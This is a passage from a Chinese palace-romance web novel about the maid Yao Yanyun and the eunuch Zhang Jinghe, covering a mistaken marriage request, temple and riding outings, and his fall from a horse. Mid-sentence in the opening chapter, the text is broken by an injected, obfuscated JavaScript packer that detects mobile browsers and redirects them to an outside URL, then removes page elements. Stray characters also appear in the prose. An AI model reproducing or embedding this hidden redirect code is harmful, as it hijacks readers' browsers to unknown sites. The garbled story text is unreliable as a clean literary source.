“哎呀,还能是谁啊。”,啊春凑到她耳边,说的极小声,“张景和张公公啊。” 姚砚云如遭雷击,“你说清楚,我和他什么事成了。” 约半个时辰前,啊春被安排到内官监干活,听见那边的人议论,说张公公要和一个叫姚砚云的打扫宫女结对食,这事还是现场的一名太监办的。 啊春说的不清不楚的,姚砚云都要急死了,为了证实这事情是不是真的,姚砚云拔腿去了内官监那边。 到了内官监值班房,姚砚云看见四五个穿蓝袍的太监,正倚在门前晒日头闲聊。 其中一名高高瘦瘦的江公公还叫了她的名字。 “姚姑娘。” 他这一叫,其余几个太监的目光齐刷刷扫了过来,眼神里带着几分探究与促狭。 “哎呦!长的真标志。” “我先前以为张公公油盐不进呢,没想到呢,嘿嘿。” “姚姑娘你真是好福气,不对,张公公才是好福气。” 七嘴八舌的打趣声里,姚砚云喘着粗气,方才一路小跑过来的劲儿还没缓过来,急声问,“各位公公,方才有人跟我说,说张公公要和我结成对食,这到底是怎么回事。” 她脑子里还是懵的,实在没法从啊春那番话里回过神。 江公公回,“姚姑娘,这可是天大的喜事,真的恭喜你了。” “你恭喜我什么。”,姚砚云依旧没转过弯。 江公公笑得眼睛都眯成了缝,“哎呀,就是你和张公公要结为夫妻了。” 姚砚云:...... “公公,这事是张公公安排的吗?” 江公公道,“张公公还不知道这事呢。” 姚砚云道,“那是谁安排的?” “是我,知道你们两个情投意合,就帮你们把这事给办了。”,江公公脸上堆着谄媚的笑,“姚姑娘,你以后可是要记得我的好啊。” 原来昨晚,他跟着张景和一行人在宫里喝酒,酒过三巡,众人都卸下了平日的拘谨,聊起些风月闲话。 张景和是他们里头品阶最高的,往日里总端着架子,难得此刻酒酣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16325965|183218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳热,众人自然不肯放过他,七嘴八舌打听起常往他公所去的宫女。 在宫里,太监与宫女结对食本是常事,尤其司礼监那些有权有势的大太监,谁没有一个对食呢?唯独张景和这些年孑然一身,底下人都以为他要孤独终老了,没曾想竟冒出个姚砚云。 酒桌上,张景和怎么都不承认与姚砚云有情分,不过谁相信呢?张公公是怎么样的人,谁不知道呢?要是不喜欢,怎会容她随意进出他的公所?在座的哪个有这体面? 要是不喜欢,那姚姑娘怎么敢和别人说,她是张公公的女人? 如果这些还不能代表两人的关系,那不久前,张公公深夜传召宫女去他的公所,恰好那晚姚姑娘也在,恰好还叫那宫女还提了一桶热水过去...... 这其中的意味,谁品不出来? 酒局散时,张景和喝得酩酊大醉,只含糊嘱咐江公公次日把一份婚配名单,送司礼监给冯大祥,待确认后呈给皇上。 江公公当时翻开名单一看,里头竟没有他和姚砚云的名字,便趁势提议,“既然公公与姚姑娘是天定缘分,不如顺便求皇上赐婚?” 张景和醉得昏头涨脑,哪里听清他说的是什么,又急着出宫换一身干净衣裳,便说了一个好字。 姚砚云听完觉得天都塌了...... “公公,名单你提上去了吗?” “姚姑娘你别急,这事啊早上就办好了,这会儿,估计皇上的印都盖好了。” 江公公说到这里,脸上的笑意更浓,仿佛自己做了件天大的好事。 姚砚云听完,只觉双腿一软,几乎要站不住,“公公,求求你,把那名单拿回来吧,我和张公公根本不是你们想的那样啊!” 旁边一个太监见她急得脸都白了,反倒劝道,“害!姚姑娘你不用害臊,跟了张公公你不亏。” “往后只管安心享福便是,多少人盼都盼不来呢。” 姚砚云急得快哭出来了,好说歹说磨了将近两刻钟,这群太监却只当她是小姑娘家害羞,任她怎么解释都听不进去。 江公公脸上的笑也淡了,他好不容易逮着个向张景和示好的机会,哪肯轻易放手,“姚姑娘,别哭了,这是好事。” 姚砚云彻底急了,猛地提高声音叫住他,“我根本就不喜欢他!你们这是胡闹!” 江公公被吓得一激灵,“姚姑娘,你不喜欢张公公你干嘛到处说,你是他的女人?” “我不但不喜欢他,还很讨厌他!”,姚砚云胸口剧烈起伏,中气十足的话掷地有声,“我不喜欢他的阴险狡诈,不喜欢他的咄咄逼人,更不喜欢他那副居高临下的样子!” “我姚砚云,以后就算睡床板,一天只喝半碗白粥,也不会和他在一起!” “我不可能爱上一个太监!” “所以公公,趁着事情还能挽救,你速速把名单拿回来。” 见眼前几个太监个个惊得下巴都快掉了,一脸错愕地望着她,姚砚云心想,这番话总该能证明自己的决心了吧。 可等了数十息,对面的人却没一个开口,非但没开口,反倒像做错事一般,一个个慢慢低下了头,眼神躲闪,连大气都不敢喘。 姚砚云心里觉得奇怪,不过很快她也不自在起来了,一股莫名的寒意忽然从后颈爬上来。那是一种被凌厉目光死死盯住的感觉,像有无数根细针正密密麻麻扎着皮肤,让她后颈的汗毛根根倒竖。 她浑身一僵,几乎是机械地缓缓转过身. 只见不远处,那人双手紧握成拳,一双眼睛像冰刀一样,死死剜着她,那眼神,仿佛要将她生吞活剥一般...... 50-60 第51章 喘息尚未平定,一道略显陌生的声音忽然自身后传来。 “姚姑娘,你怎么也在这里,太巧了。” 姚砚云抬眸一看,正见方淑宁隔着人群朝她笑着挥手,眼底盛着几分雀跃,她款步走到方淑宁身前,“方姑娘,没想到你也在这里。” 方淑宁身旁还立着一位少女,眉眼与她有几分相似,只是稚气更重些。她拉过少女的手,笑着向姚砚云介绍,“这是我堂妹方淑惠。” 又把她和姚砚云是如何认识的,讲了一遍给方淑惠听。 姚砚云的目光落在方淑惠脸上,果然见两人容貌有些相近,尤其是那双眸子,都生得清亮,只是方淑惠的眼里多了几分少女的娇憨。正说着,月梳匆匆走了过来,脸颊微红,低声道,“姚画师,我有些内急想寻茅厕,我叫冬梅和我一起去。” 方淑宁见状,于是提议,“姚姑娘,我和堂妹也是刚到,不如咱们先进去吧,等她们回来了,咱们再寻她们汇合便是。” 姚砚云颔首应下,随后三人并肩踏着青石板路,往山门内走去,行至半途,姚砚云问,“不知二位姑娘今日来寺里,是想要求些什么?” 方淑宁闻言,先笑了一声,“我呀,是来求姻缘的。” 姚砚云脚步微顿,脸上露出一丝错愕,“方姑娘,你……不是已许了人家吗?” 站在一旁的方淑惠立刻笑着插话,语气里带着点嗔怪,“x姚姐姐,你别听她胡说,她总是这般没个正形。她啊,来年开春就要出嫁了,要求姻缘的是我才对。” 姚砚云悄悄抬眼,打量了方淑宁的神情,方才提及求姻缘“时的笑意早已淡去,眼底反倒藏着几分说不清的滞涩,全然没有待嫁女子该有的喜悦。 沉默了片刻,方淑宁伸手轻轻拧了一下方淑惠的胳膊,“我看你,倒是比我还喜欢我那未婚夫。既然这般中意,不如你替我嫁过去便是。” 方淑惠顿时红了脸,跺了跺脚,娇声道,“堂姐!你怎么说这种话!” 方淑宁今年十九岁,方淑惠刚满十六,正是爱拌嘴的年纪。 方淑宁转头看向姚砚云,语气里带着几分无奈,“姚姑娘,你快来评评理。我这堂妹啊,跟我爹一个模样,天天在我耳边说我那未婚夫多好多好。我倒想着,既然他那般出色,让他们两个去嫁岂不是更好?” 姚砚云被方淑宁这番话逗笑了。 方淑惠却不服气,急忙对着姚砚云辩解,“姚姐姐你听我说,我未来姐夫可是探花郎啊!今年才二十六岁,就已经在翰林院任编修了,旁人都说,他以后是要出阁拜相的!我以后要嫁的男子,也得是这般有本事的人才行!” 方淑宁闻言,嘴角勾起一抹淡淡的嘲讽,“是啊,是挺有本事的,身边的通房就有四五个呢。” 听到这话,姚砚云心中的疑惑瞬间解开,终于明白方淑宁谈及未婚夫时,为何总是一脸不喜。无论是哪个朝代的女子,又有谁愿意将自己的丈夫,与旁人分享呢? 方淑惠看了姚砚云一眼,问,“姚姐姐,你有心悦的人吗。” 姚砚云尴尬地笑了笑,一时间不知道怎么回答,这么看来方淑宁并没有把自己的身份告诉方淑惠。 这时方淑宁开口道,“前面就是大雄宝殿了。”,一句话轻飘飘地截断了话题,姚砚云心中那块悬着的石头才算落了地,悄悄松了口气。 三人依序进殿,郑重地上了香,又规规矩矩行过跪拜礼,这才转身离开。 刚踏出殿门,便见马冬梅与月梳正寻过来,月梳本就是个热络自来熟的性子,一见她们便笑着提议,“我听说这寺庙后山种了好大一片腊梅,正是开得盛的时候,咱们去瞧瞧好不好?” 一听有腊梅可赏,顿时都来了兴致,都纷纷点头应下。 几人说说笑笑,不多时便到了后山。只见漫山遍野种着百来株腊梅,枝头缀满了金黄的花苞,有的已全然绽放,吐露着清冽的香气,正是开得最旺的时节。山边空地上早已站了不少来赏梅的香客,倒也不显得拥挤。 因着地方开阔,几人便各自分头观赏,稍后再在此处会合。方淑宁却没跟着方淑惠走,反而主动上前,轻轻挽住了姚砚云的手腕,“姚姑娘,我与你一同走吧。” 两人并肩走在梅树间,忽有一片嫩黄的花瓣从枝头落下,打着旋儿飘到姚砚云眼前。她下意识地抬手接住,指尖触到花瓣的柔软,又轻轻一吹,看着它随微风飘向远处,才转头看向身侧的方淑宁,“方姑娘,你开春后就要成亲了,先在这里恭喜你。” 方淑宁听了这话,脸上的笑意淡了几分,只是轻轻摇了摇头,没立刻接话。沉默了片刻,她才缓缓开口,“府里上下,还有外头认识的人,个个都说那位探花郎好,说他有才华,学问好,将来定能入阁拜相,是个有大本事的人。或许……他是真的很好吧。可我总觉得,他们这般称赞,更像是在为朝廷挑选一位栋梁之才,而非在为我方淑宁挑选一位夫君。” 姚砚云下意识地问,“你不喜欢他吗。” 方淑宁垂眸看着脚下的路,“我喜欢不喜欢,又有什么要紧呢?只要我爹喜欢,觉得这门亲事妥当,便够了。” 几人在静安寺呆了约一个来时辰,就下山去了。返回张府后,为了避免张景和想东想西,姚砚云主动将今日在静安寺偶遇方淑宁的事一一告知了他。 张景和听了之后,倒是也没说什么。 他道,“往后若她再约你出去,你便应着。我倒要看看,她这般主动接近,到底是想做什么……” 姚砚云“哦”了一声,她其实还挺喜欢方淑宁的,两人在一起时,远比对着张景和时要轻松自在得多。 张景和将她脸上那点若有所思的神情看在眼里,忽然话锋一转,似笑非笑地问道,“你真想知道,我和她爹有什么恩怨?” 姚砚云道,“您愿意说我就听着呗。” 张景和竟勾了勾唇角,露出几分促狭的坏笑,慢悠悠道,“我不愿意说。” 姚砚云: —————— 在马冬梅的指点下,姚砚云的荷包虽然绣得不好,但是她绣得多,这日,姚砚云把她练手的这些荷包全拿了出来,绣得最好的那个,她打算送给芸娘,再好一点的就送给马冬梅,稍微次一点的就给小元,还剩下两个最差的,她打算给张景和三喜。 分妥了荷包,窗外正飘着细雪,姚砚云不打算出门了,窝在美人榻上翻看起话本。想起张景和今日在府里,便拿起给他的那个荷包,寻了过去。 张景和见惯了宫里精工细作的物件,此刻瞧见姚砚云递来的荷包,绣的不知是猫是狗,绒毛歪成一团,忍不住挑眉取笑,“这是你亲手做的?” 姚砚云道,“是啊,最近在学这个玩意,他们都说绣得不怎么好看,你要是不喜欢我就拿走了。” 张景和道,“他们?” “嗯,芸娘、马冬梅、小元和三喜都送了。”,姚砚云道,“他们瞧着好像也不是多喜欢,不过心意到了就好。等我以后绣得好了,再给你们送更好的。” 张景和闻言,鼻子里轻哼一声,随手将荷包往桌上一扔,“我才用不上这东西,你给旁人吧。” 姚砚云心里嘀咕,不要就不要,等会儿拿给六婶便是,也省得浪费。她没再多说,转身退了出去。 待姚砚云走后,张景和换了身朝服,便入宫去了。 到了晚间,乾清宫内,五位秉笔太监正垂首听景隆帝交代差事。事毕,景隆帝像是忽然想起什么,笑道,“今日从冰窖里取了箱桂圆,皇后与各宫娘娘都分了些,还剩不少,你们几个也拿些回去尝尝。” 景隆帝素来体恤近侍,时常有这样的赏赐,几位太监早已习惯,谢恩后却都兴致淡淡,拱手退了出去。唯有张景和跟着宫人去取了一盒子,转头叫住吉祥,“你把这个拿回去给姚砚云。” 吉祥应了声,捧着食盒快步出宫。 踏月轩这边,姚砚云正和马冬梅对着棋盘下五子棋。 忽听见门外传来轻叩声,伴着吉祥的声音,“姚姑娘,是我。” 姚砚云听出他的声音,见房门本就虚掩着,便扬声道,“进来吧。” 吉祥推门而入,姚砚云放下棋子问道,“吉祥公公,可是有什么事?” “这是宫里的桂圆,是老爷让我送给你的。”,吉祥将食盒递到她面前。 姚砚云自从来了这边,能吃到的水果本就有限,桂圆这般夏季才有的鲜果,更是久未尝过,几乎快忘了滋味。她最是喜欢这甜润的果子,心中一喜,连忙打开食盒,里面铺着层干净的棉纸,盛着一碟还渗着冰珠的新鲜桂圆,颗颗饱满圆润。 “劳烦公公跑一趟,替我多谢张公公。”,姚砚云笑着道。 “姑娘客气了。”,吉祥应了声,转身就要走。姚砚云见他脚步匆匆,便随口挽留,“外面天寒,喝杯热茶再走吧。” 吉祥道,“多谢姑娘好意,我还得回宫里当差,就不耽搁了。” 姚砚云一愣,追问了句,“我还以为你已经下值了,这么说,你是特意从宫里跑一趟,给我送这碟桂圆?” “嗯,老爷特意吩咐我送来的。”,吉祥点头应着,话音落便快步出了门。 姚砚云在心里嘀咕,张景和最近实在是有点反常,比如那次无缘无故要和她一起吃饭,这次又特意让三喜给她送桂圆,她像想到什么似的一惊 那天参加宴会的时候,她无意间听到,他和冯大祥在说一桩油水很足的差事,他定是在打这个主意,又想让她去讨好芸娘,给他谋这个差事。她那里有这个能力啊,上次帮他谋到的盐税使,单纯是因为运气加碰巧。 第52章 上回方淑宁说要教她骑马,姚砚云原以为她不过是x随口一提,没成想竟今天真的带她来了皇家马场。 这地方平日只供皇室宗亲驰骋,朱漆大门外守着甲胄侍卫,方淑宁掏出一块鎏金令牌,侍卫便恭恭敬敬地引她们入内。 方淑宁本非皇室贵胄,能踏入这,全因当朝皇后。皇后膝下有一女,封为华阳公主,因自幼疼惜公主,唯恐这深宫寂寥会辜负了女儿的烂漫时光,便在公主五岁那年,从朝中重臣家中精心挑选了几位与公主年岁相仿的孩童入宫,伴公主一同嬉戏成长。 方淑宁恰与公主同岁,她生得水灵,性子聪慧灵透,自然成了其中的佼佼者。从五岁到十四岁的九载光阴里,她有大半时日是在宫中度过的,日日与公主形影不离,一同读书、习艺、扑蝶逗鸟。皇后看在眼里,待她早已不似寻常伴读,反倒多了几分看待半个女儿的疼惜与亲近。 姚砚云从来没骑过马,她总觉得近距离接触那些高大的马匹时,它们扬蹄时的力道能将人掀翻,若真被踢上一脚,怕是小命都难保。 马场腹地开阔,此时地面还有一些积雪,银装素裹的地面映着天光,格外晃眼。方淑惠显然是常客,刚进马棚便选中一匹枣红色骏马,翻身而上时动作利落得不带半分滞涩,缰绳一扬,马儿便踏着积雪奔出,蹄声哒哒,溅起细碎的雪沫,很快成了远处一道移动的红点。 方淑宁带着姚砚云去马棚里选马,马棚里都是蒙古宝马,个个鬃毛油亮、体态雄健,姚砚云见那些马儿,肩高竟与她相差无几,她往后缩了缩脚,连伸手摸一摸马鬃的勇气都没有,“这、这么大的马,我实在不敢骑……” 方淑宁只能带着她去了西侧的小马棚。挑了半天,终于牵出一匹毛色棕黄的小马,个头只比驴稍高些,也温顺一些,见了姚砚云也不焦躁,只轻轻打了个响鼻。 方淑宁道,“这匹性子最稳,你试试?” 之后便扶着姚砚云踩上马镫,手把手教她握缰绳、夹马腹,方淑宁的耐心渐渐抚平了姚砚云的紧张。 起初姚砚云还浑身僵硬,待适应了片刻,竟也能跟着方淑宁的指令,让马儿在平坦的空地上走了几圈。她松了口气,转头对方淑宁笑道,“我这样慢慢走就好,你快去玩你的吧。” 方淑宁闻言,眼底掠过一抹亮色。她转身走向那匹她经常骑的黑色骏马。足尖一点马镫,身子如飞燕般掠过马背,稳稳坐定,还没等姚砚云反应过来,那马儿就四蹄腾空,朝着开阔处疾驰而去。 姚砚云摸了摸马背,“我们慢慢走也行的,不急。” 她就这样悠哉悠哉地转了十来圈,虽然这天有点冷,吹得她脸都红了,不过她觉得挺意思的。 忽然,一阵整齐的甲胄碰撞声与马蹄踏地声从前方传来。姚砚云循声望去,只见大门方向缓缓驶入一支仪仗队,明黄色的旗面绣着张牙舞爪的金龙,在风里猎猎作响,更有一辆装饰着美玉的华贵车驾紧随其后,那规制分明是皇家专属。 姚砚云正看着,方淑宁骑着马快步赶来,原本略带沉静的脸上忽然绽开明亮的笑意。 姚砚云指着仪仗队的方向问道,“那是皇上来了吗?” “是皇上!走,咱们去前头看看!”,方淑宁说着便利落翻身下马,顺手牵住姚砚云的手腕,脚步匆匆地往不远处那片围得严严实实的场地走,那地方看着像是个鞠场,四周立着半人高的木栅栏,每隔一丈远就站着一位身着劲装、腰佩长刀的侍卫,神情肃穆地守着入口,连风吹过都透着几分威严。 方淑宁虽凭着与皇后的交情,在这马场里能随意走动,可鞠场里此刻坐着当朝天子,没有传召,任谁也不能轻易靠近,她跟守在外侧的侍卫亮明身份后,便从一旁拿了个小木凳,踮着脚尖站上去,伸长脖子往里面望,连鬓边的碎发被风吹乱了都没察觉。 姚砚云站在一旁,看着方淑宁那副热切又专注的模样,心里不禁犯了嘀咕,她不会是暗恋当朝皇上吧!!! 方淑宁就这么踮着脚看了约莫一刻来钟,忽然有个身着飞鱼服、腰系鸾带的锦衣卫从里面走出来。他虽瞧出两人身份不一般,可终究是职责在身,为保皇上安危,还是客气却坚决地将她们请离了栅栏边。 离开时,方淑宁脸上的笑意淡了许多,连眼神都黯淡下来,整个人透着失落。姚砚云见她这副模样,终究忍不住问道,“方姑娘,里面……有你认识的人吗?” 方淑宁轻轻叹了口气,“我是想看看皇后娘娘有没有来,想想竟有好些日子没见着她了”,说罢,她走到不远处的小亭子里坐下,指尖轻轻摩挲着亭柱上的木纹,又对姚砚云道,“你要是觉得闷,就去别处骑骑马转转吧,我在这儿歇会儿就好。” 姚砚云本就对皇上、皇后这些皇家人物没什么兴趣,听她这么说,便点了点头,转身牵过自己那匹温顺的小马,慢悠悠地往别处去了。 地面很空旷,姚砚云就悠哉悠哉地骑着,不多时就方淑惠碰上了。 方淑惠骑着马到了姚砚云身侧,“姚姐姐,你学会了没有啊,我好累啊,我们去那边休息一下吧。” 姚砚云刚好有些累了,就说了一句好。 两人先将马匹牵回马棚,转身寻到室外一处休憩区坐下。这里依着皇家马场的规制,设了十来组桌椅,因常有皇室女眷在此歇脚,每组桌椅前都隔了一架雕花屏风,既挡了风,也添了几分私密。 二人随意挑了处无人的位置,刚落座没多久,便有相熟的马夫认出了方淑惠,连忙端上两碗热气腾腾的热茶。 两人有一搭没一搭地闲聊起来。方淑惠刚满十六岁,正是对世间事充满好奇的年纪,尤其对姚砚云曾在宫中的经历十分好奇,絮絮叨叨问了许多问题,姚砚云都一一回了她。 正说着,不远处的鞠场方向走出五名官员,红袍青衫错落相间,张景和恰好就在其中。五人在空地上缓行片刻,竟也选了一组桌椅坐下。 刚聊没两句,屏风那头忽然传来两道女子的声音,起初似是寻常说笑,后来不知聊到了什么,语气愈发的激动,又带着几分闺中密语的娇憨。 屏风这边的五位官员皆是一静,下意识停了话头,目光不自觉地往屏风方向飘去。 那头,方淑惠已从宫中的事说到了自己的择婿标准,末了话锋一转,好奇地追问,“姚姐姐,那你呢?你心里喜欢什么样的男子?” 姚砚云从前倒真没仔细想过这个问题,被她这么一问,才忽然恍然了一下,再过两年她便能离开张府了,若自己愿意,也能寻个合心意的人相伴余生。不等她细想,方淑惠又急着催促,“你快说呀!我都把我的心思告诉你了!” 姚砚云将手肘轻轻撑在桌上,双手托着下巴,眼底满是认真,缓缓开口道: “我喜欢有钱一些的,能让我过上安稳舒心的日子,我喜欢的东西,想吃什么,他都能给我买,遇到什么特定的日子,比如我的生辰,也能送得起一两件贵重的礼物,当然啦,到时候我也会想办法做点什么买卖,也不是全靠他一个人。” “再者,模样得周正些,这样才和我相配,身高嘛,能过七尺就最好了。” “至于家境,倒不用多显赫,不一定非得是做官的或是大富商,只求家里人简单些。婆母若能待我像亲女儿一般自然最好,若是不能,也别故意为难我,那些晨昏定省的规矩,能免了就最好了。” “还有最重要的一点,纳妾是万万不行的!他这辈子只能有我一个人,也不能去那些烟花之地晃荡!” 她的话一字不落地飘到屏风那头,五位官员听着,脸上渐渐露出了意味深长的神色。 正当他们以为那女子已经说完时,那头的声音又响了起来。 “还有……我也盼着他是个体贴人。往后我若是偶尔头痛发热、身子不适,他能多些关切,我要是闹了小性子,心里不舒坦,他能好好哄我几句。当然了,若是他哪天烦闷了,心绪不畅,我也会好好陪着他,变着法儿逗他开心的。” 方淑惠正想开口点评几句,忽然听得一阵急促的马蹄声x由远及近!好在一旁的马夫反应极快,飞步上前拽住缰绳,可惊马的冲劲仍不小,竟直直撞向了两人身后的屏风,“哗啦”一声,木质屏风应声倒地,两半截屏风歪在地上,将两侧的人彻底暴露在彼此眼前。 姚砚云几乎是第一眼就看到了张景和,先是眼前一黑,随即脸颊瞬间烧得滚烫,忙不迭地别开视线。 脑子里已经不受控制地浮现出他嘴角噙着嘲讽的模样。 他不会把自己方才那些话听进去了吧??? 他定是把自己方才那些话全听去了!!! 她恨不得立刻找个地缝钻进去。 “表叔?你怎么也在这里!”,方淑惠倒没察觉姚砚云的窘迫,一见熟人,立刻笑着站起身来。 方淑惠的表叔颔首应道,“我随皇上一同来的。你是来骑马的?这天儿寒凉,别骑太久了,仔细冻着感冒。”,顿了顿,他的目光落在姚砚云身上,温声问道,“这位姑娘是你的好友?” 方淑惠连忙挽住姚砚云的胳膊,笑着介绍,“是啊表叔,她是姚姑娘!今天堂姐教她骑马,她一学就会,可比我当初厉害多了!” 方淑惠表叔捻着他的长髯笑了笑,“姚姑娘果然是个奇女子。” 姚砚云: 她还是没忍住撇了一眼张景和,只见他嘴角好像在疯狂上扬?眼底还藏着几分笑意?是啊,笑死他了吧! 她恨不得一头撞死在旁边的柱子上才好—— 作者有话说:张公公身高182左右哈,明晚10点半见 第53章 经历了马场那事,姚砚云觉得自己老脸都没有了,一想到张景和当时那样的眼神 这些话被谁听去不好,偏偏给那傻逼太监听到! 好在自那以后,张景和连着两日未曾回府。姚砚云借着翻看话本排遣时光,倒也渐渐将马场那点插曲暂时压在了心底。 这日午后,姚砚云和芸娘在榻上说话,芸娘知道姚砚云爱看话本,当场送了她好几本可以让人脸红心跳的话本,随手翻了几页来看,又想起那天在马场的事,脸颊腾地红了。 这时冯大祥敲门走了进来,语气里满是焦灼,“砚云,玄英摔倒了,你快点回去看看他吧。” 原来张景和前几天日子随皇上去大兴冬狩,头三日都平顺无事,谁知今日返程途中,忽然从路边窜出两匹野马,惊得队伍大乱,连带着五六个骑马的官员都被撞下马来,张景和恰在其中。 姚砚云听得心一揪,当下便和芸娘匆匆往张府赶。想起冯大祥方才紧张的模样,她忍不住想,难不成是摔得很严重?虽说平日里总与张景和拌嘴,可真听闻他出事,心底那点担忧还是压不住地冒了上来。 她希望他平平安安的。 一踏进屋内,姚砚云见张景和还能坐着,顿时舒了一口气,常圣手正取来绵布,小心翼翼地裹着铜片,一圈圈缠在他的两只手掌和左脚脚踝上,那层层叠叠的包扎,显然伤得不轻。 姚砚云看着张景和额角渗着细汗,唇线绷得紧紧的,分明是痛极了,可面上偏要装出一副无事模样,常圣手缠到手腕时,随口问了句“痛不痛”,他竟还云淡风轻地答,“无妨。” 芸娘见此情景,拉过一旁的吉祥轻声追问,“这到底是怎么回事?好端端的,怎么伤得这样重?” 吉祥道,“老爷还算幸运的了,被那疯马撞得时候是屁/。股先着地的,有位工部的大人,是头先着地的,这会儿还没醒过来呢。” 姚砚云问,“既然是屁/。股先着地的,那怎么还摔得那么严重,怎么反倒伤了手掌和腿?。” 吉祥道,“老爷当时走在队伍外侧,靠近路边。摔下马后没稳住,又顺着旁边的斜坡滚下去了,手掌和腿就是那时候磕到石头弄伤的。” “行了,多大点事,别絮絮叨叨的。”,张景和打断了吉祥,又瞄了一眼姚砚云。 这时常圣手已包扎妥当,起身叮嘱,“手掌只是轻微骨裂,倒是破皮擦伤的地方深些,不算大碍,只是三日内切不可碰水,若要沐浴,须得旁人协助,也不能握物。左腿伤得稍重些,想彻底养好,少说也要半个月。这段日子,安心静养最是要紧。” 吉祥送常圣手出门,芸娘又陪张景和说了几句宽慰的话,怕扰他休息,也起身告辞。屋内顿时只剩姚砚云和张景和两人。 见张景和挪到铜镜前,对着镜面看了又看,还以为他在臭美呢,后面一想才知道,她进来时就看到他额角和眼尾沾着一些泥印,他想伸手去擦,可刚抬抬手,就被包扎得厚实的手掌掣住了动作,那笨拙又无奈的模样,姚砚云竟然觉得这个画面有点滑稽。 恰在这时,富贵端着一盆热水进来。 张景和自觉地坐回椅上,闭着眼等富贵伺候。见姚砚云还站在原地,他挑眉开口,语气带着几分戏谑,“怎么?难不成你还想亲手伺候我净脸?” 姚砚云说了一句,“行啊。” 张景和不理她,依旧闭着眼等富贵递毛巾,可下一瞬,他猛地睁开眼,“你想烫死我啊!” 富贵被这声呵斥吓得手一抖,忙伸手探了探盆里的水,脸顿时白了,“老爷对不起。” 姚砚云见状,朝富贵摆了摆手,“你先下去吧,这里我来。”。 富贵朝她投了一个感谢的眼神。 说着,她搬了张凳子坐到张景和对面,取过毛巾在热水里浸了浸,又反复拧干几遍,才轻柔地覆在他脸上,从额角到下颌,细细擦拭着每一处。 两人离得极近,近得张景和能看清她垂着眼时,纤长的睫毛在眼下投出的浅浅阴影,甚至能清晰地闻见她身上淡淡的皂角香。这是他第一次这样近距离看她,才发觉她的脸颊其实带着点婴儿肥,看着软乎乎的,倒比平日里瞧着温顺许多。 他的目光不自觉往下移,掠过她抿得微微泛红的唇,最后落在她白皙修长的颈脖上。 姚砚云也是第一次那么近距离看他,她看着他右眼角的那颗泪痣,忽然想起了在宫里的时候,她第一次帮他按摩时的场景,那时候他凶得要死,很怕他当时杀了自己。 想着想着,她又记起吉祥方才说的“屁股先着地”,再看看眼前人强装镇定的模样,终是没忍住,噗嗤一声笑了出来。 这笑声在安静的屋内格外清晰,张景和瞬间回神,“姚砚云,你笑什么!” “我没有笑啊,公公您听错了。”,姚砚云忍着笑又问,“公公,您的外袍也脏了,脱吗?” 张景和“嗯”了一声,缓缓站起身,很自然地伸开双臂。姚砚云上前一步,指尖先小心翼翼解开他腰间的玉带,随后才顺着衣襟的纹路,慢慢将外袍从他肩头褪下,她动作轻缓,生怕牵动他受伤的手。 张景和道,“这么瞧着,你做事倒是比富贵更让人舒心一点。” 姚砚云闻言,唇角悄悄勾了勾,带着点小得意,“当然啦,好歹我是从宫里出来的。” “呦!”,张景和挑眉,语气里多了几分快意,“听你这意思,倒是很乐意伺候我?” 姚砚云道,“公公待我那么好,如今您伤着了,我多照顾些,本就是情理之中的事。” 张景和呵笑了一声,“是吗?说得自己倒像是个多懂得感恩的人。” 姚砚云道,“当然是啊,小云一直记着公公的好呢。虽说两年后我就要离开张府了,但这份情分我不会忘的,要是到时候我还在京师,公公要是不嫌弃,我也会常来看看您。不过您平日里那么忙,怕是也没多少空见我吧。” 这话刚落,张景和脸上那点似有若无的笑意瞬间消失得无影无踪,“要走吗” 姚砚云对上他骤然沉下来的眼眸,先是愣了一瞬,随即就想到他是问自己离开后的打算,便定了定神,如实答道,“走的啊,至于以后,我还没太想好,去哪里谋生,得和冬梅商量着来,或许留在京师,或许去外地寻个清净地方,都不一定呢。” 张景和静静听着,好一会儿才缓缓点了点头,没再说话。 姚砚云见他眼底透着几分疲惫,便不再多留,就先退了出去了。 回到踏月轩后,先歪在榻上歇了好一会儿,后面又和马x冬梅小元一同用了晚饭,饭后无事,她便取了芸娘送她的话本来看。 正读到紧要处,门外忽然传来富贵的声音,带着几分急切,“姚姑娘,你睡下了没?” 她放下话本起身开门,见富贵一脸苦相,便问他出了何事。富贵委屈巴巴地垮着肩,“我方才端了鸡丝粥给老爷,他一脸不开心的样子,我没敢多待就退出来了,可走了没两步又想起,老爷的手包得跟粽子似的,根本没法自己吃饭啊!我赶紧折回去想问问要不要喂他,结果话只说了一半,他就发了火,还叫我滚……” 姚砚云道,“你这是想让我去喂他?可公公压根没说饿,你瞎操什么心?再说了,他那样的人,自尊心多强啊,肯定不愿让旁人喂饭的。” 富贵道,“姚姑娘,你是不知道,昨儿大半夜皇上突然喊不舒服,老爷就起身赶了过去,直到天亮才回来,回来后连口热饭都没顾上吃,又忙着安排人回城,这么算下来,老爷已经一天没吃东西了!你就去劝劝他吧,哪怕我来喂也行啊。” 姚砚云仍有些犹豫,“你都说他正生气呢,我这时候去,不是撞枪口上吗?我也怕他冲我发火啊。” 富贵道,“你不一样啊。” 姚砚云道,“我哪儿不一样了?” 富贵挠了挠头,却说得格外认真,“比起我,老爷心里更记挂你啊!你想啊,上次老爷醉酒,嘴里一直叫的都是你的名字,我和吉祥跟着老爷这么多年,从前他醉了,喊的从来都是我俩人,哪回跳过我们了?” 姚砚云道,“你都说他喝醉了,肯定是乱叫的啊。” “姑娘你可别不信!”,富贵道,“老话都说‘酒后吐真言’,那哪能是瞎叫的?” 姚砚云心里微微一动,“可能,可能他那天实在喝得太醉了,叫错名字了吧” 富贵絮絮叨叨劝了半天,姚砚云架不住他软磨硬泡,最终还是跟着他往张景和那边去了。 到了房门外,她深吸一口气,轻轻敲了敲门,“公公我能进来吗?” “你来做什么。”,屋内立刻传来张景和冷冰冰的声音。 姚砚云道,“我来看看您。” 张景和道,“不必。” 两个字掷地有声,透着明显的拒人千里。 这傻逼太监,真的是翻脸比翻书还快,明明不久时两人相处得还挺愉快的,怎么转眼就跟吃了枪药似的?她又没惹他! 可转念一想,富贵说他一天没吃饭了,终究还是软了心。 